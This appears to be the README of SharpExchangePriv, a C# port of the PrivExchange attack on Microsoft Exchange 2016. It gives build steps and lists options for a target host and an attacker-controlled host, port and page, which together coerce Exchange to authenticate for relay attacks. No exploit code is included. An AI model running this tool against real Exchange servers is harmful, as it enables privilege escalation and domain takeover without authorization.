Description

A C# implementation of PrivExchange by @_dirkjan. Kudos to @g0ldenGunSec, as I relied on his code.

It was tested against Exchange 2016.

Compile Instructions

SharpExchangePriv has been built against .NET 3.5 and is compatible with Visual Studio 2017. Simply open the solution file and build the project.

I used the CommandLineParser in order to parse the arguments. This will create the CommandLine.dll file, along with the executable. You can simple merget the .exe and the .dll into one executable file:

ILMerge.exe /out:C:\SharpExchangePriv.exe C:\Release\SharpExchangePriv.exe C:\Release\CommandLine.dll

Usage

--targetHost

Set the IP of the target host.

--attackerHost

Set the attacker's IP

--attackerPort

Set the attacker's port

--attackerPage

Set the attacker's page

--ssl

Enable SSL

--exchangeVersion

Set Exchange version, default is 2016

--exchangePort

Set Exchange target port
